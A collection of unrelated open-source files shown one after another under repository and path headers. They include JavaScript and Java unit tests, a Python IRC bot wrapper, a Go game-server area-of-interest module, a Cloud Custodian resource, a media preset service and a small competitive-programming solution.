const wrapper = mount(<DateCountdown {...props} />);
// Component adds one second delay for slight execution delay in real world
// In our mocked clock situation, we start with 11 seconds on the clock
expect(wrapper.text()).to.equal(
'Days 00, Hours 00, Minutes 00, Seconds 11'
);
});
it('should accept a Date type object for the datetime prop', () => {
// Reference date is 2018-01-01T08:00:00Z
// Timer should have 10 seconds on it
const props = {
render,
datetime: new Date('2018-01-01T08:00:10Z'),
};
const wrapper = mount(<DateCountdown {...props} />);
const data = JSON.parse(wrapper.text());
// Component adds one second delay for slight execution delay in real world
// In our mocked clock situation, we start with 11 seconds on the clock
expect(data['d']).to.equal('0');
expect(data['dd']).to.equal('00');
expect(data['h']).to.equal('0');
expect(data['hh']).to.equal('00');
expect(data['m']).to.equal('0');
expect(data['mm']).to.equal('00');
expect(data['s']).to.equal('11');
expect(data['ss']).to.equal('11');
});
it('should accept a String type object for the datetime prop', () => {
// Reference date is 2018-01-01T08:00:00Z
// Timer should have 10 seconds on it
const props = {
render,
datetime: '2018-01-01T08:00:10Z',
};
const wrapper = mount(<DateCountdown {...props} />);
const data = JSON.parse(wrapper.text());
// Component adds one second delay for slight execution delay in real world
// In our mocked clock situation, we start with 11 seconds on the clock
expect(data['d']).to.equal('0');
expect(data['dd']).to.equal('00');
expect(data['h']).to.equal('0');
expect(data['hh']).to.equal('00');
expect(data['m']).to.equal('0');
expect(data['mm']).to.equal('00');
expect(data['s']).to.equal('11');
expect(data['ss']).to.equal('11');
});
});
|
waartaa/pyirc | ircb/irc/__init__.py | <reponame>waartaa/pyirc<filename>ircb/irc/__init__.py
# -*- coding: utf-8 -*-
import asyncio
import logging
import re
import irc3
from ircb.storeclient import NetworkStore
from ircb.storeclient import ChannelStore
logger = logging.getLogger('irc')
class IrcbIrcConnection(irc3.IrcConnection):
def connection_made(self, transport):
super().connection_made(transport)
asyncio.Task(self.handle_connection_made(transport))
def data_received(self, data):
super().data_received(data)
def connection_lost(self, exc):
asyncio.Task(self.handle_connection_lost())
super().connection_lost(exc)
@asyncio.coroutine
def handle_connection_made(self, transport):
logger.debug('Network connected: %s, %s, %s',
self.factory.config.user,
self.factory.config.name, self.factory.config.nick)
socket = transport.get_extra_info('socket')
lhost, lport = socket.getsockname()
rhost, rport = socket.getpeername()
yield from NetworkStore.update(
dict(
filter=('id', self.factory.config.id),
update={
'status': '1',
'lhost': lhost,
'lport': lport,
'rhost': rhost,
'rport': rport
}
)
)
@asyncio.coroutine
def handle_connection_lost(self):
logger.debug('Network disconnected: %s, %s, %s',
self.factory.config.userinfo,
self.factory.config.name, self.factory.config.nick)
yield from NetworkStore.update(
dict(
filter=('id', self.factory.config.id),
update={
'status': '3',
'lhost': None,
'lport': None,
'rhost': None,
'rport': None
}
)
)
class IrcbBot(irc3.IrcBot):
defaults = dict(
irc3.IrcBot.defaults,
nick=None,
realname='',
host='www.waartaa.com',
port=6667,
url='https://github.com/waartaa/ircb',
passwords={},
ctcp=dict(
version='ircb - https://github.com/waartaa/ircb',
userinfo='{userinfo}',
time='{now:%c}'
),
includes=['ircb.irc.plugins.ircb', 'ircb.irc.plugins.autojoins',
'ircb.irc.plugins.logger'],
connection=IrcbIrcConnection,
)
defaults['irc3.plugins.logger'] = {
'handler': 'ircb.irc.plugins.logger.StoreHandler'}
cmd_regex = re.compile(
r'(?P<cmd>[A-Z]+)(?:\s+(?P<args>[^\:]+))?(?:\s*\:(?P<msg>.*))?')
def __init__(self, *args, **kwargs):
self.clients = None
super().__init__(*args, **kwargs)
def reload_config(self, *ini, **config):
self.config = irc3.utils.Config(dict(self.defaults, *ini, **config))
def run_in_loop(self):
"""Run bot in an already running event loop"""
self.create_connection()
self.add_signal_handlers()
def connection_made(self, f):
super().connection_made(f)
# Release lock acquired during creating a new bot instance
self.config.lock.release()
def join(self, target, password=None):
"""join a channel"""
if not password:
password = self.config.passwords.get(
target.strip(self.server_config['CHANTYPES']))
if password:
target += ' ' + password
self.send_line('JOIN %s' % target)
asyncio.Task(self.join_handler(target, password))
@asyncio.coroutine
def join_handler(self, target, password):
yield from ChannelStore.create_or_update(
dict(
channel=target,
network_id=self.config.id,
password=password,
status='0'
)
)
def part(self, target, reason=None):
super().part(target, reason)
asyncio.Task(self.part_handler(target))
@asyncio.coroutine
def part_handler(self, target):
yield from ChannelStore.create_or_update(
dict(
channel=target,
network_id=self.config.id,
status='2'
)
)
def raw(self, message):
"""Handle raw message"""
logger.debug('Received raw msg: %s' % message)
m = self.cmd_regex.match(message)
cmd = args = msg = None
if m:
cmd, args, msg = m.groups()
args = args.strip() if args else args
if cmd == 'PRIVMSG':
if msg.startswith('\x01') and msg.endswith('\x01'):
self.ctcp(args, msg.strip('\x01'))
else:
self.privmsg(args, msg)
elif cmd == 'NOTICE':
if msg.startswith('\x01') and msg.endswith('\x01'):
self.ctcp_reply(args, msg.strip('\x01'))
else:
self.notice(args, msg)
elif cmd == 'MODE':
_ = args.split()
self.mode(_[0], *_[1:])
elif cmd == 'JOIN':
_ = args.split()
self.join(_[0], _[1] if len(_) > 1 else None)
elif cmd == 'PART':
self.part(args, msg)
elif cmd == 'TOPIC':
self.topic(args, msg)
elif cmd == 'AWAY':
self.away(msg)
elif cmd == 'QUIT':
self.quit(msg)
elif cmd == 'NICK':
self.set_nick(args)
else:
self.send_line(message)
def dispatch(self, data, iotype='in', client=None):
if iotype == 'in':
self.dispatch_to_clients(data)
super().dispatch(data, iotype, client)
def dispatch_to_clients(self, data):
for client in self.clients:
client.send(data)
|
zhammer/dd-trace-py | tests/contrib/pymemcache/utils.py | import collections
import socket
class MockSocket(object):
def __init__(self, recv_bufs, connect_failure=None):
self.recv_bufs = collections.deque(recv_bufs)
self.send_bufs = []
self.closed = False
self.timeouts = []
self.connect_failure = connect_failure
self.connections = []
self.socket_options = []
def sendall(self, value):
self.send_bufs.append(value)
def close(self):
self.closed = True
def recv(self, size):
value = self.recv_bufs.popleft()
if isinstance(value, Exception):
raise value
return value
def settimeout(self, timeout):
self.timeouts.append(timeout)
def connect(self, server):
if isinstance(self.connect_failure, Exception):
raise self.connect_failure
self.connections.append(server)
def setsockopt(self, level, option, value):
self.socket_options.append((level, option, value))
class MockSocketModule(object):
def __init__(self, connect_failure=None):
self.connect_failure = connect_failure
self.sockets = []
def socket(self, family, type): # noqa: A002
socket = MockSocket([], connect_failure=self.connect_failure)
self.sockets.append(socket)
return socket
def __getattr__(self, name):
return getattr(socket, name)
# Compatibility to get a string back from a request
def _str(s):
if type(s) is str:
return s
elif type(s) is bytes:
return s.decode()
else:
return str(s)
|
aloklal99/apache-ranger | agents-audit/src/main/java/org/apache/ranger/audit/test/TestEvents.java | <reponame>aloklal99/apache-ranger
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.ranger.audit.test;
import org.apache.commons.logging.Log;
import org.apache.log4j.xml.DOMConfigurator;
import org.apache.ranger.audit.model.AuditEventBase;
import org.apache.ranger.audit.model.AuthzAuditEvent;
import org.apache.ranger.audit.model.EnumRepositoryType;
import org.apache.ranger.audit.provider.AuditHandler;
import org.apache.ranger.audit.provider.AuditProviderFactory;
import org.apache.commons.logging.LogFactory;
import java.io.File;
import java.io.FileInputStream;
import java.util.Date;
import java.util.Properties;
public class TestEvents {
private static final Log LOG = LogFactory.getLog(TestEvents.class);
public static void main(String[] args) {
DOMConfigurator.configure("log4j.xml");
LOG.info("==> TestEvents.main()");
try {
Properties auditProperties = new Properties();
String AUDIT_PROPERTIES_FILE = "xasecure-audit.properties";
File propFile = new File(AUDIT_PROPERTIES_FILE);
if(propFile.exists()) {
LOG.info("Loading Audit properties file" + AUDIT_PROPERTIES_FILE);
auditProperties.load(new FileInputStream(propFile));
} else {
LOG.info("Audit properties file missing: " + AUDIT_PROPERTIES_FILE);
auditProperties.setProperty("xasecure.audit.jpa.javax.persistence.jdbc.url", "jdbc:mysql://localhost:3306/xa_db");
auditProperties.setProperty("xasecure.audit.jpa.javax.persistence.jdbc.user", "xaaudit");
auditProperties.setProperty("xasecure.audit.jpa.javax.persistence.jdbc.password", "<PASSWORD>");
auditProperties.setProperty("xasecure.audit.jpa.javax.persistence.jdbc.driver", "com.mysql.jdbc.Driver");
auditProperties.setProperty("xasecure.audit.is.enabled", "true");
auditProperties.setProperty("xasecure.audit.log4j.is.enabled", "false");
auditProperties.setProperty("xasecure.audit.log4j.is.async", "false");
auditProperties.setProperty("xasecure.audit.log4j.async.max.queue.size", "100000");
auditProperties.setProperty("xasecure.audit.log4j.async.max.flush.interval.ms", "30000");
auditProperties.setProperty("xasecure.audit.db.is.enabled", "true");
auditProperties.setProperty("xasecure.audit.db.is.async", "true");
auditProperties.setProperty("xasecure.audit.db.async.max.queue.size", "100000");
auditProperties.setProperty("xasecure.audit.db.async.max.flush.interval.ms", "30000");
auditProperties.setProperty("xasecure.audit.db.batch.size", "100");
}
AuditProviderFactory.getInstance().init(auditProperties, "hdfs");
AuditHandler provider = AuditProviderFactory.getAuditProvider();
LOG.info("provider=" + provider.toString());
String strEventCount = args.length > 0 ? args[0] : auditProperties.getProperty("xasecure.audit.test.event.count");
String strEventPauseTimeInMs = args.length > 1 ? args[1] : auditProperties.getProperty("xasecure.audit.test.event.pause.time.ms");
String strSleepTimeBeforeExit = args.length > 2 ? args[2] : auditProperties.getProperty("xasecure.audit.test.sleep.time.before.exit.seconds");
int eventCount = (strEventCount == null) ? 1024 : Integer.parseInt(strEventCount);
int eventPauseTime = (strEventPauseTimeInMs == null) ? 0 : Integer.parseInt(strEventPauseTimeInMs);
int sleepTimeBeforeExit = ((strSleepTimeBeforeExit == null) ? 0 : Integer.parseInt(strSleepTimeBeforeExit)) * 1000;
for(int i = 0; i < eventCount; i++) {
AuditEventBase event = getTestEvent(i);
LOG.info("==> TestEvents.main(" + (i+1) + "): adding " + event.getClass().getName());
provider.log(event);
if(eventPauseTime > 0) {
Thread.sleep(eventPauseTime);
}
}
provider.waitToComplete();
// incase of HdfsAuditProvider, logs are saved to local file system which gets sent to HDFS asynchronusly in a separate thread.
// So, at this point it is possible that few local log files haven't made to HDFS.
if(sleepTimeBeforeExit > 0) {
LOG.info("waiting for " + sleepTimeBeforeExit + "ms before exiting..");
try {
Thread.sleep(sleepTimeBeforeExit);
} catch(Exception excp) {
LOG.info("error while waiting before exiting..");
}
}
provider.stop();
} catch(Exception excp) {
LOG.info(excp.getLocalizedMessage());
excp.printStackTrace();
}
LOG.info("<== TestEvents.main()");
}
private static AuditEventBase getTestEvent(int idx) {
AuthzAuditEvent event = new AuthzAuditEvent();
event.setClientIP("127.0.0.1");
event.setAccessResult((short)(idx % 2 > 0 ? 1 : 0));
event.setAclEnforcer("ranger-acl");
switch(idx % 5) {
case 0:
event.setRepositoryName("hdfsdev");
event.setRepositoryType(EnumRepositoryType.HDFS);
event.setResourcePath("/tmp/test-audit.log");
event.setResourceType("file");
event.setAccessType("read");
if(idx % 2 > 0) {
event.setAclEnforcer("hadoop-acl");
}
break;
case 1:
event.setRepositoryName("hbasedev");
event.setRepositoryType(EnumRepositoryType.HBASE);
event.setResourcePath("test_table/test_cf/test_col");
event.setResourceType("column");
event.setAccessType("read");
break;
case 2:
event.setRepositoryName("hivedev");
event.setRepositoryType(EnumRepositoryType.HIVE);
event.setResourcePath("test_database/test_table/test_col");
event.setResourceType("column");
event.setAccessType("select");
break;
case 3:
event.setRepositoryName("knoxdev");
event.setRepositoryType(EnumRepositoryType.KNOX);
event.setResourcePath("topologies/ranger-admin");
event.setResourceType("service");
event.setAccessType("get");
break;
case 4:
event.setRepositoryName("stormdev");
event.setRepositoryType(EnumRepositoryType.STORM);
event.setResourcePath("topologies/read-finance-stream");
event.setResourceType("topology");
event.setAccessType("submit");
break;
}
event.setEventTime(new Date());
event.setResultReason(Integer.toString(idx));
return event;
}
}
|
media-network/media-api | src/services/project/preset.js | <gh_stars>1-10
import sh from 'shorthash'
import uuid from 'uuid'
import createPresetModel from 'models/preset'
import createProjectModel from 'models/project'
import jobService from 'services/job'
const DEFAULT_PARAMETERS = {
'image/jpeg': {
progressive: true,
quality: 90
},
'image/gif': {
optimize: '-O1'
},
'image/png': {
minQuality: 65,
maxQuality: 80,
speed: 3
},
'image/svg+xml': {
cleanupAttrs: true,
inlineStyles: false,
removeDoctype: false,
removeXMLProcInst: false,
removeComments: true,
removeEmptyAttrs: false,
removeHiddenElems: false,
removeEmptyText: true,
removeEmptyContainers: true,
minifyStyles: true,
convertColors: true,
convertPathData: true,
convertTransform: true,
removeUnknownsAndDefaults: true,
removeUselessStrokeAndFill: true,
cleanupNumericValues: true,
collapseGroups: true,
mergePaths: true,
removeNonInheritableGroupAttrs: true,
cleanupIDs: true,
removeStyleElement: true
}
}
const create = async (projectIdentifier, data) => {
const Project = await createProjectModel()
const project = await Project.findOne({
identifier: projectIdentifier
})
if (!project) {
return null
}
const Preset = await createPresetModel()
const existed = await Preset.findOne({
project: project._id,
contentType: data.contentType
})
if (existed) {
return null
}
const preset = await new Preset({
project: project._id,
contentType: data.contentType,
isActive: true,
parameters: DEFAULT_PARAMETERS[ data.contentType ]
}).save()
return preset
}
const del = async (projectIdentifier, contentType) => {
const Project = await createProjectModel()
const project = await Project.findOne({
identifier: projectIdentifier
})
if (!project) {
return null
}
const Preset = await createPresetModel()
const { n, ok } = await Preset.remove({
project: project._id,
contentType
})
if (ok && n === 1) {
await jobService.create({
name: 'CREATE_INVALIDATION',
when: Date.now(),
payload: {
projectIdentifier,
contentType
}
}, {
messageId: uuid.v4()
})
}
return ok && n === 1
}
const get = async (projectIdentifier, contentType) => {
const Project = await createProjectModel()
const project = await Project.findOne({
identifier: projectIdentifier
})
if (!project) {
return null
}
const Preset = await createPresetModel()
const preset = await Preset.findOne({
project: project._id,
contentType
})
return preset
}
const list = async (projectIdentifier) => {
const Project = await createProjectModel()
const project = await Project.findOne({
identifier: projectIdentifier
})
if (!project) {
return null
}
const Preset = await createPresetModel()
const presets = await Preset.find({
project: project._id
})
return presets
}
const hashPreset = (parameters) => {
return sh.unique(
JSON.stringify(
parameters,
Object.keys(parameters).sort()
)
)
}
const replace = async (projectIdentifier, contentType, data) => {
const Project = await createProjectModel()
const project = await Project.findOne({
identifier: projectIdentifier
})
if (!project) {
return null
}
const Preset = await createPresetModel()
const currentPreset = await Preset.findOne({
project: project._id,
contentType
}).lean()
const newPreset = await Preset.findOneAndUpdate({
project: project._id,
contentType
}, data, {
new: true
})
const currentPresetHash = hashPreset(currentPreset.parameters)
const newPresetHash = hashPreset(newPreset.parameters)
if (currentPresetHash !== newPresetHash || !newPreset.isActive) {
await jobService.create({
name: 'CREATE_INVALIDATION',
when: Date.now(),
payload: {
projectIdentifier,
presetHash: currentPresetHash
}
}, {
messageId: uuid.v4()
})
}
return newPreset
}
export default {
create,
del,
get,
list,
replace
}
|
psakar/Resteasy | resteasy-jaxrs-testsuite/src/test/java/org/jboss/resteasy/test/regression/ExceptionMapperRuntimeException3Test.java | <filename>resteasy-jaxrs-testsuite/src/test/java/org/jboss/resteasy/test/regression/ExceptionMapperRuntimeException3Test.java
package org.jboss.resteasy.test.regression;
import org.jboss.resteasy.client.ClientRequest;
import org.jboss.resteasy.client.ClientResponse;
import org.jboss.resteasy.spi.Failure;
import org.jboss.resteasy.test.BaseResourceTest;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import javax.ws.rs.GET;
import javax.ws.rs.Path;
import javax.ws.rs.Produces;
import javax.ws.rs.WebApplicationException;
import javax.ws.rs.core.Response;
import javax.ws.rs.ext.ExceptionMapper;
import static org.jboss.resteasy.test.TestPortProvider.generateBaseUrl;
/**
* RESTEASY-595
*
* @author <a href="mailto:<EMAIL>"><NAME></a>
* @version $Revision: 1 $
*/
public class ExceptionMapperRuntimeException3Test extends BaseResourceTest
{
public static class WebApplicationExceptionMapper implements ExceptionMapper<WebApplicationException>
{
public Response toResponse(WebApplicationException exception)
{
return Response.status(Response.Status.PRECONDITION_FAILED).header("custom", "header").build();
}
}
@Path("/test")
public static class MyService
{
@GET
@Produces("text/plain")
public String get()
{
throw new WebApplicationException(401);
}
@GET
@Path("failure")
@Produces("text/plain")
public String getFailure()
{
return "hello";
}
}
@Before
public void init() throws Exception
{
getProviderFactory().registerProviderInstance(new WebApplicationExceptionMapper());
addPerRequestResource(MyService.class);
}
@Test
public void testWebAPplicationException() throws Exception
{
ClientRequest request = new ClientRequest(generateBaseUrl() + "/test");
ClientResponse response = request.get();
Assert.assertEquals(Response.Status.PRECONDITION_FAILED.getStatusCode(), response.getStatus());
Assert.assertEquals(response.getResponseHeaders().getFirst("custom"), "header");
}
} |
HotelsDotCom/circus-train | circus-train-core/src/test/java/com/hotels/bdp/circustrain/core/SpelParsedPartitionPredicateTest.java | <filename>circus-train-core/src/test/java/com/hotels/bdp/circustrain/core/SpelParsedPartitionPredicateTest.java
/**
* Copyright (C) 2016-2021 Expedia, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.hotels.bdp.circustrain.core;
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.mockito.Mockito.when;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.Mock;
import org.mockito.junit.MockitoJUnitRunner;
import com.hotels.bdp.circustrain.api.conf.SourceTable;
import com.hotels.bdp.circustrain.api.conf.TableReplication;
import com.hotels.bdp.circustrain.core.conf.SpringExpressionParser;
@RunWith(MockitoJUnitRunner.class)
public class SpelParsedPartitionPredicateTest {
private @Mock SpringExpressionParser expressionParser;
private @Mock TableReplication tableReplication;
private @Mock SourceTable sourceTable;
private SpelParsedPartitionPredicate predicate;
@Before
public void setUp() {
when(tableReplication.getSourceTable()).thenReturn(sourceTable);
predicate = new SpelParsedPartitionPredicate(expressionParser, tableReplication);
}
@Test
public void simpleFilter() throws Exception {
when(sourceTable.getPartitionFilter()).thenReturn("filter");
when(expressionParser.parse("filter")).thenReturn("filter");
assertThat(predicate.getPartitionPredicate(), is("filter"));
}
@Test
public void expressionParserChangedFilter() throws Exception {
when(expressionParser.parse("filter")).thenReturn("filter2");
when(sourceTable.getPartitionFilter()).thenReturn("filter");
assertThat(predicate.getPartitionPredicate(), is("filter2"));
}
@Test
public void partitionPredicateLimit() throws Exception {
when(sourceTable.getPartitionLimit()).thenReturn((short) 10);
assertThat(predicate.getPartitionPredicateLimit(), is((short) 10));
}
@Test
public void noPartitionPredicateLimitSetDefaultsToMinus1() throws Exception {
when(sourceTable.getPartitionLimit()).thenReturn(null);
assertThat(predicate.getPartitionPredicateLimit(), is((short) -1));
}
}
|
sstarcher/cloud-custodian | c7n/resources/sfn.py | <gh_stars>1-10
# Copyright 2015-2017 Capital One Services, LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import absolute_import, division, print_function, unicode_literals
from c7n.manager import resources
from c7n.query import QueryResourceManager
@resources.register('step-machine')
class StepFunction(QueryResourceManager):
"""AWS Step Functions State Machine"""
class resource_type(object):
service = 'stepfunctions'
enum_spec = ('list_state_machines', 'stateMachines', None)
id = 'stateMachineArn'
name = 'name'
date = 'creationDate'
dimension = None
detail_spec = (
"describe_state_machine", "stateMachineArn",
'stateMachineArn', None)
filter_name = None
|
mohrobati/JS-Buxter | sample_code/preprocessed/sample_010_preprocessed.js |
process.stdin.resume();
process.stdin.setEncoding('utf-8');
let inputString = '';
let currentLine = 0;
process.stdin.on('data', inputStdin => {
inputString += inputStdin;
});
process.stdin.on('end', _ => {
inputString = inputString.trim().split('\n').map(string => {
return string.trim();
});
main();
});
function readline() {
return inputString[currentLine++];
}
function main() {
var a
var dp
var n = parseInt(readline());
a = readline().split(' ').map((x, iii) => {
return parseInt(x)
});
var aa = a.slice()
a.sort((a, b) => a - b)
dp = new Array(n + 1)
for (let i = 0; i < n + 1; i++) {
dp[i] = new Array(n).fill(Number.MAX_SAFE_INTEGER)
}
console.log(solve(0, n - 1, a))
function solve(l, r) {
if (r == l) return 0
if(dp[l][r] !== Number.MAX_SAFE_INTEGER) return dp[l][r]
var ans = Math.min(solve(l + 1, r), solve(l, r - 1))
if(dp[l][r] === Number.MAX_SAFE_INTEGER) dp[l][r] = ans + a[r] - a[l]
return ans + a[r] - a[l]
}
}
|
mysll/flynet | server/src/area/cell.go | package area
import (
"errors"
"game/libs/aoi"
"game/libs/aoi/toweraoi"
"logicdata/inter"
"server"
. "server/data/datatype"
"server/libs/log"
"server/libs/rpc"
)
type CellInfo struct {
Id int
Name string
Path string //地图信息路径
X float32 //地图左上角X坐标
Y float32 //地图左上角Y坐标
Width float32 //地图宽度
Height float32 //地图高度
TileW float32 //格子宽
TileH float32 //格子高
MaxViewRange float32 //最大视野
MaxPlayers int32 //最大玩家数
MaxVisual int32 //最大可视人数
}
type cell struct {
server.Dispatch
aoi *aoi.AOI
id int
Objects map[int]map[int32]Entity
scene Entity
playernum int
livetime int
width float32
height float32
}
func (this *cell) enterScene(obj Entity) {
if watcher, ok := obj.(inter.Watcher); ok {
if mover, ok2 := obj.(inter.Mover); ok2 {
this.aoi.AddWatcher(obj.ObjectId(), obj.ObjType(), mover.GetPos(), watcher.GetRange())
this.aoi.AddObject(mover.GetPos(), obj.ObjectId(), obj.ObjType())
ids := this.aoi.GetIdsByPos(mover.GetPos(), watcher.GetRange())
var ch *server.Channel
if obj.FindExtraData("aoiCh") == nil {
ch = server.NewChannel()
obj.SetExtraData("aoiCh", ch)
} else {
ch = obj.FindExtraData("aoiCh").(*server.Channel)
}
for _, id := range ids {
if id.Equal(obj.ObjectId()) {
continue
}
if ent := App.Kernel().GetEntity(id); ent != nil {
watcher.AddObject(id, ent.ObjType())
if ent.ObjType() == PLAYER {
ch.Add(rpc.NewMailBoxFromUid(ent.UID()))
}
}
}
}
}
}
func (this *cell) levelScene(obj Entity) {
if watcher, ok := obj.(inter.Watcher); ok {
if mover, ok2 := obj.(inter.Mover); ok2 {
this.aoi.RemoveWatcher(obj.ObjectId(), obj.ObjType(), mover.GetPos(), watcher.GetRange())
this.aoi.RemoveObject(mover.GetPos(), obj.ObjectId(), obj.ObjType())
obj.FindExtraData("aoiCh").(*server.Channel).Clear()
watcher.ClearAll()
//如果是玩家,需要立即进行aoi同步,否则可能删除不了channel
if obj.ObjType() == PLAYER {
this.aoiEvent()
}
}
}
}
func (this *cell) AddObject(obj Entity) error {
id := obj.ObjectId()
if _, ok := this.Objects[obj.ObjType()]; !ok {
this.Objects[obj.ObjType()] = make(map[int32]Entity, 256)
}
if _, dup := this.Objects[obj.ObjType()][id.Index]; dup {
return errors.New("object already added")
}
this.Objects[obj.ObjType()][id.Index] = obj
if obj.ObjType() == PLAYER {
App.Kernel().EntryScene(obj)
this.enterScene(obj)
App.baseProxy.entryScene(this.scene, obj)
App.Kernel().EnterScene(obj)
log.LogMessage("add player:", obj.ObjectId())
this.playernum++
this.livetime = -1
} else {
this.enterScene(obj)
}
return nil
}
func (this *cell) RemoveObject(obj Entity) {
id := obj.ObjectId()
if _, ok := this.Objects[obj.ObjType()]; !ok {
return
}
if obj.ObjType() == PLAYER {
mb := rpc.NewMailBoxFromUid(obj.UID())
if pl := App.Players.FindPlayer(mb.Uid); pl != nil {
pl.(*AreaPlayer).LevelScene()
}
log.LogMessage("remove player:", obj.ObjectId())
this.playernum--
if this.playernum == 0 { //没有玩家后,删除本场景
this.livetime = 60
}
}
this.levelScene(obj)
delete(this.Objects[obj.ObjType()], id.Index)
}
func (this *cell) OnBeginUpdate() {
}
func (this *cell) OnUpdate() {
}
func (this *cell) OnLastUpdate() {
childs := this.scene.AllChilds()
for _, child := range childs {
if child == nil {
continue
}
d := child.Modifys()
if len(d) > 0 {
}
}
}
func (this *cell) Delete() {
if ps, ok := this.Objects[PLAYER]; ok {
if len(ps) > 0 {
for _, p := range ps {
this.RemoveObject(p)
}
}
}
App.Kernel().Destroy(this.scene.ObjectId())
log.LogMessage("cell deleted,", this.id)
}
func (this *cell) aoiAdd(id ObjectID, typ int, watchers []ObjectID) {
for _, wid := range watchers {
if ent := App.Kernel().GetEntity(wid); ent != nil {
if watcher, ok := ent.(inter.Watcher); ok {
if !ent.ObjectId().Equal(id) {
watcher.AddObject(id, typ)
if obj := App.Kernel().GetEntity(id); obj != nil {
if obj.ObjType() == PLAYER {
ent.FindExtraData("aoiCh").(*server.Channel).Add(rpc.NewMailBoxFromUid(obj.UID()))
}
}
}
}
}
}
}
func (this *cell) aoiRemove(id ObjectID, typ int, watchers []ObjectID) {
for _, wid := range watchers {
if ent := App.Kernel().GetEntity(wid); ent != nil {
if watcher, ok := ent.(inter.Watcher); ok {
if !ent.ObjectId().Equal(id) {
watcher.RemoveObject(id, typ)
if obj := App.Kernel().GetEntity(id); obj != nil {
if obj.ObjType() == PLAYER {
ent.FindExtraData("aoiCh").(*server.Channel).Remove(rpc.NewMailBoxFromUid(obj.UID()))
}
}
}
}
}
}
}
func (this *cell) aoiUpdate(id ObjectID, typ int, oldWatchers []ObjectID, newWatchers []ObjectID) {
for _, wid := range oldWatchers {
if ent := App.Kernel().GetEntity(wid); ent != nil {
if watcher, ok := ent.(inter.Watcher); ok {
if !ent.ObjectId().Equal(id) {
watcher.RemoveObject(id, typ)
if obj := App.Kernel().GetEntity(id); obj != nil {
if obj.ObjType() == PLAYER {
ent.FindExtraData("aoiCh").(*server.Channel).Remove(rpc.NewMailBoxFromUid(obj.UID()))
}
}
}
}
}
}
for _, wid := range newWatchers {
if ent := App.Kernel().GetEntity(wid); ent != nil {
if watcher, ok := ent.(inter.Watcher); ok {
if !ent.ObjectId().Equal(id) {
watcher.AddObject(id, typ)
if obj := App.Kernel().GetEntity(id); obj != nil {
if obj.ObjType() == PLAYER {
ent.FindExtraData("aoiCh").(*server.Channel).Add(rpc.NewMailBoxFromUid(obj.UID()))
}
}
}
}
}
}
}
func (this *cell) aoiUpdateWatcher(id ObjectID, typ int, addobjs []ObjectID, removeobjs []ObjectID) {
if ent := App.Kernel().GetEntity(id); ent != nil {
if watcher, ok := ent.(inter.Watcher); ok {
for _, o := range addobjs {
if !id.Equal(o) {
watcher.AddObject(o, typ)
if obj := App.Kernel().GetEntity(o); obj != nil {
if obj.ObjType() == PLAYER {
ent.FindExtraData("aoiChan").(*server.Channel).Add(rpc.NewMailBoxFromUid(obj.UID()))
}
}
}
}
for _, o := range removeobjs {
if !id.Equal(o) {
watcher.RemoveObject(o, typ)
if obj := App.Kernel().GetEntity(o); obj != nil {
if obj.ObjType() == PLAYER {
ent.FindExtraData("aoiChan").(*server.Channel).Remove(rpc.NewMailBoxFromUid(obj.UID()))
}
}
}
}
}
}
}
func (this *cell) aoiEvent() {
event := this.aoi.GetEvent()
for {
e := event.Pop()
if e == nil {
break
}
switch e.Typ {
case "add":
this.aoiAdd(e.Args["id"].(ObjectID), e.Args["type"].(int), e.Args["watchers"].([]ObjectID))
case "remove":
this.aoiRemove(e.Args["id"].(ObjectID), e.Args["type"].(int), e.Args["watchers"].([]ObjectID))
case "update":
this.aoiUpdate(e.Args["id"].(ObjectID), e.Args["type"].(int), e.Args["oldWatchers"].([]ObjectID), e.Args["newWatchers"].([]ObjectID))
case "updateWatcher":
this.aoiUpdateWatcher(e.Args["id"].(ObjectID), e.Args["type"].(int), e.Args["addObjs"].([]ObjectID), e.Args["removeObjs"].([]ObjectID))
}
event.FreeEvent(e)
}
}
func (this *cell) OnFlush() {
this.aoiEvent()
if this.livetime == 0 {
App.RemoveCell(this.id)
return
}
if this.livetime > 0 {
this.livetime--
}
}
func CreateCell(id int, width float32, height float32) *cell {
c := &cell{}
scene, err := App.Kernel().Create("BaseScene")
if err != nil {
return nil
}
c.width = width
c.height = height
c.aoi = aoi.NewAOI(toweraoi.NewTowerAOI(c.width, c.height, 50, 50, 5))
c.id = id
c.scene = scene
scene.SetExtraData("cell", c)
c.Objects = make(map[int]map[int32]Entity, 16)
c.livetime = 60
return c
}
|
H4NGUL/Twitch | libs/permissions.js | <gh_stars>0
'use strict'
var constants = require('./constants')
var crypto = require('crypto')
var _ = require('lodash')
function Permissions () {
global.parser.register(this, '!permission', this.overridePermission, constants.OWNER_ONLY)
setInterval(function () {
global.botDB.find({$where: function () { return this._id.startsWith('permission') }}, function (err, items) {
if (err) { global.log.error(err, { fnc: 'Permissions' }) }
_.each(items, function (item) {
global.parser.permissionsCmds['!' + item.command] = item.permission
})
})
}, 500)
this.webPanel()
}
Permissions.prototype.webPanel = function () {
global.panel.addMenu({category: 'settings', name: 'permissions', id: 'permissions'})
global.panel.socketListening(this, 'getPermissions', this.sendSocket)
global.panel.socketListening(this, 'changePermission', this.changeSocket)
}
